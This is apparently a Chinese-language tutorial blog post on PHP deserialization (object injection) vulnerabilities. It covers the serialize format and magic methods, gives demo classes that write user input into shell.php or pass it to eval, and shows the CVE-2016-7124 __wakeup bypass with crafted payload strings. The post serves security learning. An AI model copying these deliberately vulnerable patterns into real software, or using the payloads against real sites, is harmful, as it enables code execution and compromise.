php反序列化小結
PHP反序列化
- 又稱php物件注入漏洞
序列化與反序列化
-
php序列化有兩個函式serialize() 和unserialize()。
-
序列化是物件序列化,物件是一種在記憶體中儲存的資料型別,壽命是隨生成該物件的程式的終止而終止,為了持久使用物件的狀態,將其通過serialize()函式進行序列化為一行字串儲存為檔案,使用時再用unserialize()反序列化為物件
-
序列化後的格式
bool
b:value
b:0 //false
b:1 //true b代表bool型,冒號後面是值
整數
i:value
i:1
i:-1 // i代表裡型別
字元
s:length:"value";
s:4:"aaaa"; //s是字串 4代表長度
NULL
N;
陣列
a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}
物件
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
序列化測試
- serialize():產生一個可儲存的值的表示,把這個物件轉變成一個字串,儲存物件的值方便之後的傳遞與使用。測試程式碼如下;
<?php
class Amire0x{
var $test = '123';
}
$a = new Amire0x();
print_r(serialize($a));
echo "<br>";
$b = 'O:7:"Amire0x":1:{s:4:"test";s:3:"123";}';
print_r(unserialize($b));
?>
結果
- 註釋
0:表示儲存的是物件
7:表示物件名稱有7個字元
"Amire0x":表示物件的名稱
1:表示有1個值
{s:4:"test";s:3:"123";}
s:表示字串
4:表示長度
"test":表示名稱
反序列化漏洞
PHP物件常見魔術方法
-
construct()
建立(new)時會自動呼叫。但在unserialize()時是不會自動呼叫的。 -
__destruct()
物件被銷燬的時候呼叫 -
__toString()
物件被當作一個字串使用時候呼叫(不僅僅是echo的時候,比如file_exists()判斷也會觸發) -
__sleep()
序列化物件之前就呼叫此方法(其返回需要是一個陣列) -
__wakeup()
反序列化恢復物件之前就呼叫此方法,unserialize()時會自動呼叫 -
__call()
當呼叫物件中不存在的方法會自動呼叫此方法 -
__callStatic()
在靜態上下文中呼叫不可訪問的方法時觸發
漏洞測試
當傳給 unserialize() 的引數可控時,我們可以通過傳入一個精心構造的序列化字串,從而控制物件內部的變數甚至是函式。
- 特性測試
<?php
class Amire0x{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:7:"Amire0x":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>
執行後
可以看到,unserialize()後會導致__wakeup()
的直接呼叫,中間無需其他過程。由此,可以知道有一些漏洞或危險程式碼在這個函式,然後控制序列化字串去直接觸發它們
-
對
__wakeup()
復現一下基本的思路是,本地搭建好環境,通過 serialize() 得到我們要的序列化字串,之後再傳進去。通過原始碼知,把物件中的test值賦為
<?php phpinfo(); ?>
,再呼叫unserialize()時會通過__wakeup()把test的寫入到shell.php中。為此我們寫個php指令碼:
<?php
class Amire0x{
var $test = 'aaa';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = new Amire0x();
$class3->test = $_GET['test'];
$class3 = serialize($class3);
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 為顯示效果,把這個shell.php包含進來
?>
- 得到結果
-
__construct()
,一次unserialize()中並不會直接呼叫的魔術函式,有時候反序列化一個物件時,由它呼叫的__wakeup()中又去呼叫了其他的物件,由此可以溯源而上,找到漏洞點。 -
如程式碼
<?php
class Am0x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class Amire0x{
var $test = '123';
function __wakeup(){
$obj = new Am0x($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
這裡我們給test傳入構造好的序列化字串後,進行反序列化時自動呼叫 __wakeup()
函式,從而在new Am0x()
會自動呼叫物件Am0x中的__construct()
方法,從而把<?php phpinfo() ?>
寫入到 shell.php中。
- 利用普通成員,如
<?php
class Amire0x {
var $test;
function __construct() {
$this->test = new Am0x();
}
function __destruct() {
$this->test->action();
}
}
class Am0x {
function action() {
echo "Am0x";
}
}
class Am0x2 {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new Amire0x();
unserialize($_GET['test']);
?>
本意上,new一個新的Amire0x物件後,呼叫__construct()
,其中又new了Am0x物件。在結束後會呼叫__destruct()
,其中會呼叫action(),從而輸出 Am0x。
__wakeup()繞過
-
CVE-2016-7124漏洞,當序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行
-
反序列化可以控制類屬性,無論是private還是public
-
測試原始碼
<?php error_reporting(0); class Amire0x{ public $test = 'abc'; function __destruct(){ if(!empty($this->test)){ if($this->test == 'abc') echo "Congratulations!"; } } function __wakeup(){ $this->test = 'You failed buddy!'; echo "$this->test"; } public function __toString(){ return ''; } } if(!isset($_GET['answer'])){ show_source('1.php'); }else{ $answer = $_GET['answer']; echo $answer; echo '<br>'; echo unserialize($answer); } ?>
嘗試構造answer
O:7:"Amire0x":1:{s:4:"test";s:3:"abc";}
失敗,未繞過
改變物件的值
O:7:"Amire0x":2:{s:4:"test";s:3:"abc";}
參考
相關文章
- PHP反序列化漏洞總結PHP
- php反序列化PHP
- php陣列函式小結PHP陣列函式
- PHP檔案包含小總結PHP
- PHP的序列化和反序列化入門PHP
- php反序列化漏洞PHP
- PHP變數覆蓋漏洞小結PHP變數
- PHP審計之PHP反序列化漏洞PHP
- php xss 反序列化漏洞PHP
- WEB漏洞——PHP反序列化WebPHP
- PHP反序列化鏈分析PHP
- PHP反序列化字串逃逸PHP字串
- php反序列化-unserialize3PHP
- 莫反小練
- php反序列化個人筆記PHP筆記
- Web安全之PHP反序列化漏洞WebPHP
- php反序列化和redis未授權PHPRedis
- 白說:php反序列化之pop鏈PHP
- [MRCTF2020]Ezpop-1|php序列化TF2PHP
- 潛藏在PHP安全的邊緣——淺談PHP反序列化漏洞PHP
- PHP 小技巧PHP
- 小程式反編譯教程編譯
- [CTF/Web] PHP 反序列化學習筆記WebPHP筆記
- 兩道題淺析PHP反序列化逃逸PHP
- PHP 的異常處理之try和catch用法小結PHP
- 反轉連結串列
- php常用小程式PHP
- ssrf結合python反序列化Python
- 關於 PHP 序列化和反序列化不得不知道的細節PHP
- [BUG反饋]onethink\ThinkPHP\Library\OT\Database.class.php 問題反饋PHPDatabase
- PHP 反序列化漏洞入門學習筆記PHP筆記
- Newtonsoft序列化與反序列化json字串使用方法總結JSON字串
- #反轉連結串列_C++版 #反轉連結串列_Java版 @FDDLCC++Java
- 1025 反轉連結串列
- 264反轉連結串列
- leetcode 反轉連結串列LeetCode
- django不使用序列化器來進行查詢結果序列化Django
- 記錄一次CTF解題PHP反序列化PHP